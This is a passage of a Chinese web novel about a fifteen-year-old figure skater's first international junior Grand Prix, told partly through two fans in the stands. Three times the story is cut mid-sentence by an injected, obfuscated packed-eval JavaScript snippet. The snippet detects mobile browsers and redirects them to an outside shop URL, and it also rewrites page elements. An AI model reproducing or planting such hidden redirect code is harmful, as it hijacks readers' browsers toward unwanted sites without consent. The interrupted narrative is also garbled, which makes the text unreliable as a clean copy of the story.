[放心你直播我肯定不会落下的!] [对,可以按需收看。] [……你就不能表现出一点期待吗!] 裴舒望看着屏幕,脸上带着笑,没有再回复。 回到酒店,冲过澡后他躺在床上,打开手机看了眼明天的训练安排。男单公开练习的时间在下午,上午他不用去场馆。后天下午男单短节目开赛,紧接着第二天就是自由滑。以他目前的实力发挥,裴舒望觉得进入青年大奖赛总决赛不是没有可能,周映澄这赛季也会用世青冠的资格被大奖赛官方邀请参赛,不知道他们,能不能在总决赛现场见面。 19. 第 19 章 “观众好少啊,花样滑冰这么冷门的吗?” “不是啦,今天因为是工作日,所以来的人不是很多。而且是青年组比赛,没有什么很知名的选手,也没有粉丝特意赶来。” “哦哦,这样啊。” “出来了出来了——”徐颖拍了拍门美悠纪的胳膊,语气带着激动。毕竟这是她第一次现场看比赛,因为朋友喜欢花滑,平常两人除了偶尔去上冰玩玩,她也会陪着悠纪看一些赛事直播,但她对这些实在不太感冒。那些大小比赛看完,到现在她也只记得一个选手——周映澄,同为华国人长得也好看。朋友也很喜欢她,连带着自己也看了她许多场比赛。 这站青年大奖赛在立本举办,刚好,在她们学校附近。加上不需要门票,悠纪果断拉着她一起来看。 “这是双人滑还是冰舞啊?” “冰舞,这一站没有双人滑的。” “女生裙子比较长,男生打扮会比较精致的大概率就是冰舞哦。”门美悠纪目光从选手身上扫过,同时给徐慧简单进行了解释。“今天是冰舞韵律舞和男单短节目的比赛,相山君报名了这一站。我看男单参赛名单的时候有发现华国选手哦。” “谁啊?相山君又是谁?周映澄参加吗?” “我也不是很熟悉,好像是叫做裴舒望,以前从来没见过他的节目呢,可能是第一次参加国际赛事。相山君就是今年年初世青赛获得铜牌的那个选手呀,当时你还夸奖相山君的考斯滕非常漂亮。”门美悠纪一边介绍着自己支持的选手,一边又因为没见到喜欢的选手略带遗憾,“映澄酱这个赛季不参加青年组比赛了,升到成年组。不过下下个月的大奖赛上能见到映澄酱新的成年组节目,不知道会是什么风格,真是非常期待呢。” “升组了啊,好可惜——”虽然可能对场上表演的选手不太尊重,但说实话徐慧真看不懂。不像其他三项,哪怕什么都不知道,起码可以看跳跃摔没摔,在空中蹦多高飞多远转了多少圈。冰舞的欣赏门槛远远高于其他三项,没有跳跃、没有高过肩膀的托举,全看二人脚下的步法、手上的握法、距离的远近和滑速的快慢……这些都不是她一个路人能够看出来的,哪怕是门美悠纪这样的资深单人滑粉丝也不能打包票说自己看得懂冰舞,只能说比起纯粹看热闹的徐慧来说,算是了解一些皮毛。 幸好冰舞选手不太多,也就两组,加上每组赛前的五分钟练习和比完后的清冰时间,也就一个多小时。要说煎熬也不完全是,徐慧坐的位置视角不错,能清楚欣赏场上俊男美女的双人舞蹈,选手几个亲密的瞬间也让她心底直呼不会是真情侣吧。有表演的好让人怀疑关系的,也有确实是可能刚搭档参加比赛的,一眼让人察觉塑料同事情。 除了这些其他的就没办法,有摔倒和两人明显动作不同步的情况,分数低徐慧也理解,但有几组明明节目没发现失误分数却也不高,选手等分区哭她也不知道为什么,这种时候就会一下子将她从赛事氛围中抽离出来。 冰舞最后一对选手结束表演的时候,徐慧已经有点坐不住了。她看了眼手机,又看了眼坐在KC区正在等待分数的选手,小声问门美悠纪:“还有多久到男单啊?” “快了快了,这组分数出来就清冰,然后就是男单了。”门美悠纪也看了眼时间,“大概还有二十分钟吧。” “二十分钟……”徐慧叹了口气,“已经坐这一个世纪了,也不差那点。” “你那么想看男单吗?” “冰舞看不懂啊,也没认识的组合。”徐慧理直气壮道,“男单不是有华国选手吗?还有你喜欢的那个相山君。” 门美悠纪哭笑不得:“慧酱,真的很直率。” 场上最后一对冰舞选手的分数出来,不高不低,排名没有太大变化。观众席上响起稀疏的掌声,徐慧也跟着拍了拍手。 清冰车开进场内,蓝白色的车身在冰面上缓缓移动。徐慧盯着那辆车,忽然想起什么,转头问门美悠纪:“你说那个裴舒望,他是第一次参加国际赛是吧?” “应该是。” “那他能滑好吗?会不会紧张?” “不知道。”门美悠纪老实回答,“第一次参赛的选手,什么情况都有可能发生。有的人紧张得连平时一半实力都发挥不出来,有的人反而能超常发挥。” “映澄酱第一次参加分站赛就拿到了银牌,完全黑马。” “天才是不一样的啦,映澄是天才来着的。”徐慧应和道,“希望他能滑好,好歹是和我一个国家的选手。” 门美悠纪笑着看了她一眼:“你刚才还说无聊呢。” “那不一样。”徐慧表情不变,语气肯定道,“自己人当然要支持。” 清冰车退场,广播开始播报男单第一组选手的信息。……本组最后一位参赛选手,裴舒望,来自华国,十五岁。这是他第一次参加国际比赛,赛前提交的配置表中,可以看到其中包括了阿克塞尔三周,勾手三周和内点三周接后外三周连跳,裴舒望选手的配置表难度可以算是场上最高。这让我想到本赛季升组的华国女单选手周映澄,她的初次分站赛就拿下了银牌。同为华国选手,他能够复刻周映澄选手的成绩吗? 镜头依次扫过场上选手,最后在裴舒望身上停下。一抹蓝色从画面中浮现,徐慧的眼睛一下子亮了。 长发在脑后扎成低马尾,在发绳处折了一下留下个小团子将马尾长度收短,黑发将发绳盖住,只觉得是用头发本身做出的造型,不加任何别的修饰。短马尾落在身后随着滑行轻轻摆动。深蓝色的考斯滕在灯光下泛着细碎的光泽,领口的银色花纹配合反光的水钻,像溅起的冰屑。他的身高在同龄人里算是高的,身材还没完全长开,但站在冰上就有一种说不出来的舒展。 “就是他?”徐慧拽住门美悠纪的胳膊。 “对,裴舒望。”门美悠纪也盯着场上,“好高啊,看着不像十五岁。” “十五岁就这么高,以后得长到一米八以上吧。” “不出意外,感觉至少会有一米八。有点影响跳跃欸,太高的话。” 徐慧才不管那些,她只觉得那个长发少年站在冰上,就像一幅画。 六练很快结束,选 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17311156|198851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手陆续下场。裴舒望接过教练递来的刀套,二人低头交谈了几句,下场等待。 第一位选手开始表演。立本的选手,音乐是古典风格。他的滑行很好,步法流畅,但跳跃稳定性差了些。第一个阿克塞尔两周中规中矩,待机时间略长。规定跳跃勾手三周翻身,后内三周摔倒没接上连跳,显然分数不会高。 分数出来,53.73,不高。这站分站男单只有17人参赛,所以也不用担心进不了自由滑。 第二位选手登场。泰兰德的选手,穿着一身黑考斯滕。可能是热带国家训练条件不行,他的配置不算高。后内三周接外点三周,阿克塞尔两周,勾手两周。难度普通但好歹稳定落下了没有摔倒,滑行和旋转也肉眼可见的粗糙。 50.50,节目内容分和技术执行分比不上前一个选手,加上难度构成一般,暂列第二。 …… “到裴舒望了。”门美悠纪说。 徐慧坐直身体,眼睛紧紧盯着冰场入口。 裴舒望脱下外套,交给教练,然后径直向场中央滑去。考斯滕在灯光下流光溢彩,头发披在背后,好似一幅写意水墨画。 他站定,低下头,双手自然垂在身侧。音乐响起,是钢琴曲,旋律简洁感染力充沛。随着音符落下,裴舒望整个人像被唤醒一样,抬头,开始演绎节目。 他的起滑不快,刀刃划过冰面留下细碎的声音。压步起速,然后是一个干净利落的阿克塞尔三周。起跳果断,在空中完全收紧,给人极具观感的好似停在空中的延迟转体跳跃。落冰膝盖压得很稳,将落冰的冲击力完全卸掉,十分流畅的一个滑出。 “三周半!”门美悠纪惊呼,“完美落冰的阿克塞尔!” 徐慧分不清这些跳跃,她只看到场上少年跳起来的时候,整个人滞空了一瞬,然后完成圈数,稳稳落下,继续滑行。他的动作很有力量感,但又不会显得生硬,每一个衔接都非常自然。 音乐渐渐变得急促起来,裴舒望的滑行也在加速。刀齿步,小跳,转三,括弧步,乔克塔,小兔跳……他的脚下不停变换,冰刀在冰面上留下复杂的图案。上肢随着音乐伸展收回,整个人完全沉浸在表演中。 规定跳跃、旋转……一个个技术动作的实现,带动现场观众情绪起伏。最后一个换足联合旋转结束时,他正好停在曲子的最后一个音上。 全场安静了一秒,然后响起热烈的掌声。 徐慧拼命鼓掌,手都拍红了。她其实不太懂那些技术动作,但她能感受到,那个少年在冰上的每一秒,都让她移不开眼睛。 “滑得太好了!”她忍不住喊出声。 门美悠纪也用力鼓掌,眼睛亮亮的:“他真的滑得特别好,合乐能力太强了,每一个动作都卡在拍子上,情感完全沉浸,只是看着节目,却好像我也感受到了他在风暴中的挣扎。” 场上,裴舒望微微喘着气,向四周观众行礼致谢,然后滑向挡板。他的脸上没有太多表情,看不出是满意还是不满意。 分数出来的时候,徐慧紧张得攥紧了门美悠纪的胳膊。 20. 第 20 章 音乐停止的时候,裴舒望心里松了口气。没出差错,尽人事听天命,他能做的都已经做到最好了。站在冰场中央,他听见自己的喘气声和高强度运动后,“扑通扑通”的心跳。观众席传来掌声,还有几声欢呼,抬头看去,可能是灯光太晃眼,只觉白茫茫的一片看不真切。 裴舒望向四周行礼致谢,退场时看到教练已经在场边等着他了。邝辉一手拿着刀套,一手提着纸巾盒,张开双手给了裴舒望一个大大的拥抱。邝辉脸上止不住的笑意,“太棒了!完美的表现!” 披上外套,二人向等分区走去。 等分区的长凳上,裴舒望和邝辉并肩坐下。工作人员递来一瓶水,他接过喝了一口,目光落在前方的显示屏上。 “滑得很好。”邝辉压低声音,这场分站赛等分区的收音格外好,“该做的都做到了,情绪也非常到位。” 裴舒望点了点头,没说话。今天滑得好吗?当然。可能是久违登上国际赛场的缘故,六练时,他就觉得浑身轻松。没有任何负面困扰,冰面透出来的冷意都像是提神剂,让他更加精神。表演节目时,不知是按配置表完成所有编排,还是《Experience》这套节目本身超快的滑速,抑或是二者兼有,他好似将全身心都投入进节目,肆意表达着感情,酣畅淋漓的完成演出。音乐落幕的瞬间,自己骤然从浓郁的情绪中拔身,有些怅然若失。 脑中思绪如流水淌过,裁判打分却没那么迅速。坐在等分区,时间仿佛被拉长了。 观众席,徐慧紧张地抓着门美悠纪的胳膊,"分数还不出来吗?怎么这么久?" “快了快了。”门美悠纪也盯着电子屏幕,“裁判分数录入也需要时间,再等一下。” 终于,数字跳了出来。 技术分:44.49 节目内容分:28.39 短节目得分:72.88 当前排名暂列第一。 “72.88!”门美悠纪惊讶,“这个分数在青年组很高了!” “但是……裴君的节目打分感觉偏低了呢。明明节目clean了,跳跃也是这赛季短节目的最高难度配置,节目内容分好像有点低了呢,因为裴君是第一组出场吗?实在太可惜了。” 徐慧不懂这个分数意味着什么,一开始看到裴舒望的分数比前四位选手的分数断层了十几分,很高兴。但听了门美悠纪的吐槽,隐约明白他的分数好像应该更高点。她看到裴舒望在等分区知道分数时,脸上也没有太多表情,只是点了点头。身旁的教练倒是露出了笑容,拍了拍裴舒望的肩。 “72.88分!”邝辉满意得不得了,恨不得直接亲上裴舒望,“第一次国际赛,短节目72.88,暂列第一,很好!”他甚至忘了压低音量,直播间那头,省队众人听得一清二楚。 不止邝辉激动,郁梓睿也忍不住站起身,“第一!裴舒望,No.1!” “坐下,别半场开香槟。”鄢宇航拽着他的衣服下摆,小小声提醒道,“教练和大家都看过来了。” 看到出分,裴舒望不是很意外。作为第一组出场的选手,也没在各大赛事上刷过脸,在裁判那里拿到这个分数,已经说明节目本身的质量被认可了。但后面还有两组选手,像最后一组出场的“种子选手”,裁判给的打分尺度往往会更宽松一些。 他想起刚才陆地热身时见过的那个立本选手,相山成树。上赛季世青赛铜牌得主,主场作战,被分在第三组。如果他clean了,分数大概率会超过自己。 还有鄂罗斯的格里戈里·拜科夫,同样在第三组。 72.88,这个分数能不能撑到短节目结束,他心里也没底。 “走吧。”邝辉站起身,“回去休息,明天还有自由滑呢。” 裴舒望点点头,跟着起身。走出场馆,外面的天近黄昏。八月的太阳落的格外慢,夏风带着热意,将冰面带出的冷气一扫而空。裴舒望深吸一口气,感觉整个人又回温了。 邝辉走在前面,正拿着手机回复消息:“老裴高兴坏了,队里今天组织一起看了直播。舒望,你这次发挥的太好了。” 裴舒望掏出自己的手机,屏幕亮起,好几条未读消息。 群里消息弹个不停,郁梓睿非常激动:[我看到分数了!!!72.88!太牛了!!!] [后面还有两组,但完全不用担心,等着看你能不能串到最后!!] [啊啊啊我比我自己节目clean还激动!] [短节目不错,自由滑稳住。] 后面是群里的表情包轰炸,郁梓睿刷了几十条,从土拨鼠尖叫到烟花庆祝,表情包一个接一个。 裴舒望看着看着,脸上不自觉带着笑,在群里回了一句:[谢谢,明天继续努力。:)] 郁梓睿秒回,[你比赛还没结束呢,早点休息!] [明天自由滑加油。] [我们都会看直播的!] [好。] [但我这边比国内早一个小时,你们也早点休息。] 退出群聊,消息列表还有好多未读。裴立伟和谭丹阿姨倒没给他发消息,一个是比赛还没结束,另一个估计也是怕给他太大压力,索性全发给邝辉了。出乎预料的是,大眼app弹出了消息,是橙子种植园发来的私信。 @橙子种植园:舒望小朋友,看了直播,滑得太好了,表现很有感染力呀! 裴舒望看了好一会儿,才回复道:谢谢[微笑][玫瑰] 对面回得很快:不客气!后面自由滑也加油啊,阿姨继续给你打气![肌肉] 裴舒望也回了同样的emoji,然后把手机收进口袋,认真看路了。 馆内,场上第二组的比赛开始了。徐慧看着那些陌生的选手在冰上跳跃旋转,心里却一直在想刚才那个长发少年。 他叫什么来着? 裴舒望。 她在心里默默念了几遍这个名字,确保自己真的记住了,不会忘记。 徐慧的紧张感随着每一个选手节目的进行而逐渐累积。每当有选手得分超过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17311157|198851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 70,她的心就揪一下,每当有选手失误摔倒,她又暗自庆幸。这当然不是很道德的行为,但她控制不住,她不想看见其他任何人超过裴舒望,他的名字应该一直挂在最顶端,人都会有私心的对吧。 第二组全部结束,最高分67.83,没有人超过72.88。徐慧松了口气,但很快又提了起来,第三组要上场了。 清冰车在场内缓缓移动,将冰面上被留下的痕迹全部抹平。徐慧目光跟着车子走,感觉自己的心跳比刚才看比赛时还快。 “别紧张。”门美悠纪笑着拍了拍她的手,“裴君的分数已经很好了,就算被超过,也是第二或第三名进入自由滑,很厉害了。” “我不想他被超过。”徐慧小声嘟囔,“我就想他一直第一。” 门美悠纪无奈地摇摇头,没再说话。 第三组选手进场了。相山成树穿着一身深紫色的考斯滕,头发应该是用了发胶,发型一丝不苟很整齐,脸上带着旧经沙场的平静。他在场上滑了几圈,试了几个跳跃,没出问题。格里戈里·拜科夫同样十分镇定,举手投足间带着种自信。 徐慧搞不清他们做的那些动作,但她看得出来,这两个人很强。 六练结束,选手下场。相山成树手气不太好,抽到了第三组第一个登场。音乐是电影配乐,带着浓郁的立本传统风格。相山成树的滑行非常细腻,步伐都在节拍上,表演欲看得出非常充沛,和前面第二组那些选手差距明显。他的跳跃安排很聪明,和裴舒望一样,最难的阿克塞尔三周放在开头,很稳。可惜最后一个连跳第一跳落冰不稳,倒也是硬接上了一个后外两周,但比起原定计划的后外三周,bv肯定是低了不少的。 但毕竟本土作战,节目结束时,全场掌声如雷。观众席上有人举着应援横幅,上面写着相山成树的名字和一些鼓励的语句。冰面上有几个被扔进场的小玩偶,这是本场第一个被扔玩偶的选手。 徐慧一边心被提到嗓子眼,担心他的分数超过裴舒望,一边又暗自提醒自己,明天来看比赛的时候一定要记得买几个玩偶带过来。 分数出来,73.58,比裴舒望高了0.7分。 看到那个数字,徐慧一下子泄了口气,整个人靠在椅背上,无话可说。门美悠纪轻轻拍了拍她的大腿,不知道说些什么。 等分区,相山成树看到分数出来,脸上露出满意的笑容,手上拿着刚刚捡的玩偶和观众挥手。裴舒望的名字掉到了第二。后面还有五位选手没有上场,徐慧内心在祈祷。 可能是上天听到了她的祷告,短节目结束后最终排名:格里戈里·拜科夫第一,相山成树第二,裴舒望第三。 徐慧看着排名,心里五味杂陈。第三名,对第一次比赛,出场顺序不占优势的新人来说,已经是很不错的成绩了,但她就是不甘心,明明滑得那么好,为什么不是第一? “已经很厉害了。”门美悠纪的声音在旁边响起,“花滑不是一场定输赢啊,自由滑还有机会翻盘的。我们明天,再一起给裴君和相山君加油吧。” 21. 第 21 章 自由滑当天,徐慧起了个大早。 昨晚她翻来覆去睡不着,满脑子都是那道蓝色的身影。她查了裴舒望在互联网能找到的所有信息,少得可怜。大眼app里有几个花滑资讯博主分享了这两个月他在俱乐部联赛上的节目视频和小分表,裴舒望没有官方账号,搜索大名广场上也是最近才多了几条讨论,甚至连超话都没有更别提个人资讯站了。 根据浏览器搜索时弹出的网页,她顺藤摸瓜摸到了郫县,发现一年前裴舒望考级的模糊视频。看帖子内容,这应该就是裴舒望在互联网留下最早的痕迹了。 “你这样不行啊,”门美悠纪一边吃早餐一边含糊不清地说,“才看了一场比赛就这么上头。” “你不懂。”徐慧盯着手机,屏幕上正是昨天保存的短节目视频截图,“他滑冰的时候,整个人都在发光。” 门美悠纪无语,选择低头安静进食,不再理她。 自由滑下午开始,她们提前了一个小时就到了场馆,占了两个裁判席背后的好位置。徐慧怀里抱着两个新买的玩偶,一个妙蛙种子,一个皮卡丘。昨天她有注意到裴舒望手里拿着的纸巾盒,很可爱也很适合他。 “慧酱买的有点多了吧?”门美悠纪看着她身旁,背包里还塞着两个玩偶,“太夸张了,变成狂热fans了呢。” “嘿嘿,是补偿昨天的。看短节目时没有准备礼物,今天就一起送出去。” “时间还是太紧了,不然还可以再定制个应援横幅。”徐慧语气带着可惜,对自己没有时间进行充分准备的遗憾。 馆内的人比昨天多了不少,不止是男单决胜负的最终战,更是因为青年女单短节目在今天开始。作为冷门运动,四个项目里人气最高的就是女单,而花滑最大市场之一就在立本,所以哪怕是没什么热度的青年组比赛,现场人数比起昨天也翻了几倍。 “女单这边会有两名华国选手参加哦。”门美悠纪看着手机上的出场名单,“不过不是特别熟悉欸,应该也是比较少参加国际赛事。” 徐慧点点头,自然答道:“昨天我查了的,会在前面两组出来。” “哎呀!去商店的时候忘了。算了,给裴舒望缺的玩偶以后有机会再补上,给妹妹们也扔一个。” “仁慈的娃娃教母。” 不管怎么说,徐慧真的觉得,这次跟着悠纪过来看比赛,是她今年做过最正确的决定。 广播响起,女单短节目第一组开始六练。六位选手鱼贯而入,镜头扫过,没几个熟面孔。徐慧对这些不太感兴趣,目光一直往冰场边瞟,想找到裴舒望的身影。结果不出预料,虽然距他比赛还有六组选手,时间不会很紧,但可能是没有看别人比赛的兴趣,还是在后台热身或休息吧。 她真的迫不及待想看裴舒望的自由滑,想亲眼目睹他的believer。昨晚在手机上找到的三场俱乐部联赛的自由滑视频已经被她翻来覆去看了无数遍,她知道,现场和隔着屏幕完全是两种不同的体验。 女单节目一个接一个,观众席上的人越来越多。有举着应援牌的本地粉丝,也有拿着国旗的华国观众。徐慧注意到,每当有华国选手上场时,那些人就会用力挥舞旗子,喊几声加油。 “等会儿裴舒望上场,我也要跟着她们一起喊。”她暗自下定决心。 女单第二组结束,又到了清冰时间。门美悠纪简单扭了扭头放松,“还有两组女单,后面就是男单了。” 尽管非常期待现场比赛,但闻言,徐慧的手心还是开始出汗。 终于,女单节目全都结束。比起昨天的冰舞,还是单人滑她比较看得懂,加上悠纪在一旁时不时的解说两句,所以虽然是在焦急等待裴舒望出场,却也不知不觉沉浸在妹妹们的节目当中了。 实话实说,女单大部分节目比男单好看多了。哪怕男单的纸面技术难度高于女单,真上冰了完全就是烟花大赛,论坛说的青男不可信是真的。 自由滑简直就是惨案现场。裴舒望短节目排名第三,按排名倒序最后一组上场。前面两组边比,徐慧和门美悠纪两人边吐槽。 “打赌吗?”徐慧双目无神,被这些糟心节目折腾得身心俱疲,“这一组能有几个clean的,表面clean就行,我看不出来问题的那种,缺周降组也算。” “零。”门美悠纪同样麻木,“现场和直播果然不一样,直播看的时候感觉没有这么漫长啊——” “怎么会表现那么糟糕呀——需要相山君和裴君出来清新一下眼球。” “啊!摔了,好严重感觉。”徐慧被冰面上失误的选手惊了一跳,“别受伤吧。” “应该没事,动作没变形,教练看着也不是很焦急。” …… 烟花大会结束了,广播响起:接下来进行青年组男子单人滑自由滑,第三组赛前六分钟练习…… 前面受的折磨一下子被清空,徐慧的眼睛蹭地亮了起来。 六位选手依次进场。格里戈里·拜科夫穿着一身西装样式的黑色考斯滕,脸上没什么表情非常冷峻。相山成树倒没那么创新,比较普通的红色考斯滕,发型依旧看得出仔细打理过了,很精致。赛前练习有种主场作战的从容镇定。 然后是裴舒望,红黑相间的一套。考斯滕在灯光下泛着流动的光泽。身上那道红色的布料随着他的动作拉伸,像一簇正在燃烧的火焰。头发没什么特别的设计,干净的低马尾,用红色的发带绑紧,带子留了点长度可以随着发尾一起摇动。 “天哪,”徐慧的呼吸都停了一瞬,她听见自己小声说道,“好漂亮。” 门美悠纪也不由得称赞道:“这套考斯滕,太适合他了。” 选手们在冰上热身,熟悉节目内容,尝试一些关键动作。裴舒望没有试跳,他在复习了遍步法后,就滑到中央开始进行旋转练习。他昨天回去后好好复盘了自己的短节目表现,仔细检查了自己的小分表。算是意料之内吧,他的旋转定级有一个被定了三级。可能是旋转中途提速不明显没被记为提级条件,一堆四级里面冒出来一个三级真的很刺眼。裴舒望不希望这种靠努力和用心就能做好的地方,再次出现纰漏,以他的能力,可以做到最好。 音乐变了,提醒场上选手赛前练习只剩下一分钟。裴舒望没有接着练习那些旋转,他滑到冰面一角,压步起速,起跳——后内结环四周。身体微微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17311158|198851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晃了一下,成功稳住,漂亮的滑出。 观众席上响起一阵低呼,门美悠纪震惊地拍着徐慧的大腿,“四周跳!他后内四周成了!” 徐慧也很激动,双手蹂躏着怀中的妙蛙种子,不知道说些什么。 裴舒望又试了几个连跳,没有问题。和场边的教练聊了几句后,不再尝试更多跳跃,只是简单地滑行热身。 练习时间结束,选手下场。第一位选手是个熟人,亚历山大·坎贝尔。比赛前几天来这儿练习的时候,主动和裴舒望打招呼的小卷毛,来自米国。短节目排行第六,他的自由滑配置不算高,但完成得不错,没有明显失误。和前面的烟花大会截然不同,给最后一组带了个好的开头。 青男没有可信度。第二位上场的选手没有辜负这句话,让人大失所望。节目比卷毛复杂些,不止跳跃出现失误。一个勾手三周轴歪摔倒,周数也不够。一个内点三周落冰不稳没能接上连跳,后面也没能补上。旋转的超绝大位移更是不忍直视,后半段肉眼可见他的体力不支滑速下降,看得观众都不由得感叹好累。 第三位选手上场时,徐慧已经有点坐不住了。她不停调整怀里的玩偶,把它们摆成最容易被扔出去的姿势。刚刚给女单妹妹们扔的那两个玩偶落在冰面的位置不是很好,离选手下场的位置有点远,她希望能把玩偶扔到裴舒望可以亲手捡到的地方。 继续惨案,现在徐慧不止考虑怎么扔玩偶能扔得远了,更担心这种失败的氛围会不会影响到后面上场的裴舒望。 裴舒望脸上看不出有没有压力,静静进场摆好起始姿势。鼓点落下,他猛地抬头,肢体跟着动作,刀刃深深切入冰面,将滑速提到最高,整个人如离弦之箭滑出。配合密集的鼓点,裴舒望脚下不停,在冰面上留下清晰的弧线。上肢动作充满力量感,每一个伸手,每一次收回都卡在节拍上,带着一种近乎侵略的表现力。 所有人都目光聚焦在他身上。没有减速,起跳果断,后内四周落冰成功。裴舒望几乎没有失速,直接滑出接下一个衔接。伴着渐渐进入高潮的音乐,他的速度不减反增,变向果断步法复杂,整个人身心完全沉浸在表演中。 第一个跳跃成功,第二个跳跃成功,第三个跳跃依旧成功。他的体力似乎没怎么流失,反而愈发投入。特别大胆的编排,裴舒望将最难的两个单跳和连跳放在节目后半段。勾手三周起跳高度惊人,落冰干净利落。外点四周比起后内四周,是他更熟悉的跳跃,同样没有差错。阿克塞尔三周接外点三周出现了点小问题,A跳起跳轴有点歪,第二跳失速严重几乎是原地干拔了一个外点两周。最后的阿克塞尔两周接欧拉跳接后外三周倒是很好,用一个流畅的弧线结束了跳跃。 最后的换足联合旋转,转速极快,姿态变换迅速。位移极不明显,完全是个小陀螺,在音乐停下来的瞬间,旋转结束。他抬起头,目光灼灼地望着裁判席,握拳挥出,微微喘着气。 观众从节目开始到最后一直跟着音乐打拍子,此刻也没有吝啬掌声。徐慧拼命鼓着掌,眼眶发热。她不知道该怎么形容自己看到的一切,只觉得心脏快要跳出胸口。那两个玩偶被她用力扔进冰场,落得离裴舒望不远。 22. 第 22 章 酣畅淋漓,裴舒望很久没有这种尽情释放的感觉了。挥拳那一下,全身的力气带着未散去的浓烈的感情一并迸出。虽然后面还有两位选手没有出场,但这一次他确定,冠军只会是自己。 全场最高配置难度节目,表面clean,短节目第一的格里戈里·拜科夫也就比他领先了2.4分,拜科夫的自由滑是双3A加外点四周,三个超C,连跳也是基础的连外点跳和后内跳。 单纸面难度就比他双3A、外点四周、后内四周、连后外的高级三三连跳的配置差了不少,哪怕他的连3T变成了2T,也至少高了有2.9分,更别提他的四个高分跳跃都放在节目后半程,可以拿到1.1倍系数的加分。2016年国际滑联的跳跃加分规则还没修改,理论上,是可以把所有七个跳跃全部放在后半段吃系数的。 裴舒望不是不眼馋,但是目前还不稳定的状态不允许他这样做,在发育阶段跳跃还没丢,能够输出掌握难度不摔倒已经尽了他最大的努力了,难有余力。 拜科夫表演比较一般,节目内容分也不会特别夸张。相比拜科夫,第二的相山成树反而威胁更大。一个是他的表现力很不错,在青男糙汉堆里可以称得上一句出彩。二是这站毕竟举办地是在立本,本土种子选手获得的支持应该不会小。 不管,裴舒望也不知道哪来的信心,反正节目滑完后,他脑中只有两个字——赢了。昨晚在酒店仔细计算自己和前面两位的差距,那几个数字这一刻全都从脑中消失,只有莫名的笃定。 喜不自禁,从跳动的心脏中涌出来的快意,裴舒望脸上挂着笑,向裁判、向四周的欢呼和掌声行礼。 一个绿色的小东西映入他的眼前,愣了一下,裴舒望俯身捡起,还有它旁边那个黄色的小棉花。顺着玩偶抛下的方向,明明观众席人不少,他却被那个激动地鼓着掌的女生吸引,不远处还有挥着华国国旗的一小片观众。朝她们挥了挥手中的玩偶,笑容也更加灿烂,异国他乡能见到自己的支持者,真好。 可能是今天观众比昨天多的原因,除了这两个之外,场上还零零散散落了几朵花和巴掌大小的玩偶,小冰童们也算有活干了,上冰将它们一扫而空。 “啊啊啊啊啊——”徐慧压低声音,激动地拉着门美悠纪的胳膊,“他捡到我扔的娃娃了,还对我们这边笑了!” 等分区的长凳依旧不是那么的舒适,裴舒望坐下时,身上那股从冰面带下的凉意还没完全散去。考斯滕贴在身上,被汗水浸透的部分有些发黏。他接过教练递给他的外套披上,又从纸巾盒里抽了几张纸,擦额角的汗。现在他有两只妙蛙种子了,还多了个黄色的小朋友。怀里抱着纸巾盒,捡来的两只放在大腿两边,一左一右,三足鼎立。 邝辉将二人中间的皮卡丘抓进自己怀中,捋了捋它的耳朵,“你这收获颇丰啊。” “手感还挺不错。” “别把人家耳朵弄塌了。”裴舒望没怎么说话,目光专注落在前方的显示屏上,自己的技术动作慢放视频,“这个后内四周周数有点问题,要被抓了。” “还行,除了周数其他的都挺完美的,影响没那么大。” 时间过得比想象中的快,不像短节目,这次技术回放后很迅速就给出了节目分数。 技术分:84.53 节目内容分:59.11 自由滑得分:143.64 总得分:216.52 当前排名暂列第一。 邝辉“腾”地站起来,手里的玩偶差点掉在地上。他一把抓住,又激动地塞回裴舒望怀里,狠狠拍了拍裴舒望的肩膀,“漂亮!破210了!第一!” 裴舒望也非常高兴,眼睛亮亮的,脸上的笑意压都压不住。216.52分,比他预估的还要高一些,节目内容分给到了59+是他没想到的。虽说出场组别会影响裁判的打分尺度,但他毕竟没怎么在裁判面前刷过脸,能给到这个分数,他的节目、他的表现显然是得到了认可。不是芭蕾范不是古典风,哪怕是较为少见的人声摇滚,也能靠演绎征服裁判。 尽人事听天命,坐上领先席,裴舒望心想,如果相山成树和拜科夫不改配置,这次分站赛的结果就已经确定了。 一般大型比赛,前几组出场的运动员不会坐到这个位置,浪费时间,后面的每一位选手都有可能超过自己,多呆那么几分钟也没什么意义。裴舒望的短节目分数其实可以留下,但他不是很想一个人坐在那继续看比赛,分站赛也没有小奖牌更是没有必要。 观众席上,徐慧看着裴舒望的笑容,自己同样也不由得开心起来。教练和他两个人看到分数后的表现,像一颗定心丸,徐慧不像自己以为的那么紧张后面二人的出场。 连门美悠纪也感叹道:“这小孩,是个不输于映澄酱的天才,相山君想超越的话不容易啊。” “攻守双方身份转换了呢,成为最后的关卡boss了裴君。” 